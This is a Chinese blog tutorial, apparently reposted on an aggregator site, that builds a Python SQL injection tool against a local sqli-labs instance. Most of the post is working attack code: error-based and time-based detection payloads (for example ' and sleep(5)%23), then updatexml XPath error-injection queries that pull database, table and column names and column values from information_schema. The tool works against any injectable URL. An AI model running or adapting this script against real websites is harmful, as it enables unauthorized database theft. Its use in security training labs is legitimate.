编写sql-hunpi
Posted hunpi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了编写sql-hunpi相关的知识,希望对你有一定的参考价值。
借鉴SQLMap,参数最好设置为一个字典。
demo
单Get参数,检测漏洞是否存在。
跳过设置参数
环节,只用url发起请求。
漏洞探测
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
import requests
import time
# 对参数进行处理
## 报错测试
def error_inject(url, param):
param = param + "'\\","
url = url+'?'+param
r = requests.post(url)
if("error" in r.text):
print("存在报错注入。Payload:", url)
## 延迟盲注测试
def time_now(): # 计算当前时间并返回
return time.time()
def time_inject(url, param):
timeInject = [ # Get参数需要URL编码,否则没有反应
" and sleep(5)",
"' and sleep(5)%23",
"\\" and sleep(5)%23"
]
for x in timeInject:
tempParam = param + x # 保留url和param,便于遍历
tempUrl = url + '?' + tempParam
before_time = time_now()
r = requests.post(tempUrl)
after_time = time_now()
if after_time - before_time > 5:
print("存在延迟注入。", end="")
print("Payload:", tempUrl)
break
url = "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"
# 处理url,分离域名和参数
data = url.split('?')
url = data[0] # 保留域名的url
param = data[1]
error_inject(url, param)
time_inject(url, param)
测试效果:
查询当前库名和表名
需要测试闭合方式,只测试4种。如果是报错注入的话,可以判断网页是否有"error"字符;如果是延迟注入,可以判断是否延迟,然后对poc进行简单处理,拼接上后续的exp。
省略这部分,先使用延迟注入
的payload,对接上部分漏洞探测。
error_inject(url, param)
time_poc = time_inject(url, param)
# 获取成功延迟注入的语句,截取到空格部分作为基础的已经闭合的语句
if(time_poc != 0):
baseurl = time_poc[:time_poc.find(' ')]
print(baseurl)
先考虑xpath报错注入。库名、用户、配置项。查当前库好说,查当前库的表好说。但查列名、查列值需要指定表名和列名。
获取baseurl后,拼接payload、发起请求,处理字符串。
xpath报错注入,返回的信息例如XPATH syntax error: '~security'
。因为xpath只能输出32位字符,所以使用str.find()寻找XPATH syntax error
。使用.find()定位~
,再从~
开始。
def xpath_inject(baseurl):
database_exp = "and(select updatexml(1,concat('~',(select database())),1))%23"
r = requests.post(baseurl + database_exp).text
position1 = r.find("XPATH syntax error") # 定位报错信息,截取的字符串开始部分,就是r[position1:]。
position2 = r[position1 + 22:].find("'")
result = r[position1:position1 + 22 + position2 + 1]
print("当前数据库:", result)
table_exp = [
"and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1))%23",
"and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31)),1))%23",
"and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),63,31)),1))%23"
]
table_name = ""
for x in table_exp:
r = requests.post(baseurl+x).text
position1 = r.find("XPATH syntax error") # 定位报错信息,截取的字符串开始部分,就是r[position1:]。
position2 = r[position1+22:].find("'")
result = r[position1:position1+22+position2+1]
if(result != "XPATH syntax error: '~'"):
table_name += result
print("当前数据库的表名:", table_name)
测试效果:
查列名和列值
输入指定表名,查询表中的列名。输入指定表名和列名,查询列值。
对xpath报错注入使用while(true)语句
,前面查询表名的操作也进行了修改。
值得注意的是,需要保留闭合语句
,方便查询列名和列值。
def columnName(baseurl, table_name):
column_name = ""
count = 0
while(True):
start = 1 + count*31
columnName_exp = "and (select updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},31)),1))%23".format(table_name, start)
r = requests.post(baseurl+columnName_exp).text
result = get_xpath(r)
if (result == "XPATH syntax error: '~'"):
break
else:
count += 1
result = result.replace("XPATH syntax error: ", "")
column_name += result
column_name = column_name.replace("~", "")
column_name = column_name.replace("'", "")
print(table_name, "表包含的列:", column_name)
测试效果:
报错注入查列值:
def column_value(baseurl, table_name, column_name):
count = 0
columnValue = ""
while (True):
start = 1 + count * 31
columnValueExp = "and(select updatexml(1,concat('~',substr((select group_concat({}) from {}),{start},31)),1))%23".format(column_name, table_name, start=start)
#print(baseurl+columnValueExp)
r = requests.post(baseurl+columnValueExp).text
#print(r)
result = get_xpath(r)
# print(result)
# print(count)
if (result == "XPATH syntax error: '~'"):
break
else:
count += 1
result = result.replace("XPATH syntax error: ", "")
columnValue += result
print(column_name, "列的值:", columnValue)
测试效果:
为demo增加功能
测试黑名单
参考
以上是关于编写sql-hunpi的主要内容,如果未能解决你的问题,请参考以下文章
VS Code配置snippets代码片段快速生成html模板,提高前端编写效率
我们可以在活动 xml 中编写 UI 以及在片段 xm 中编写 UI 吗?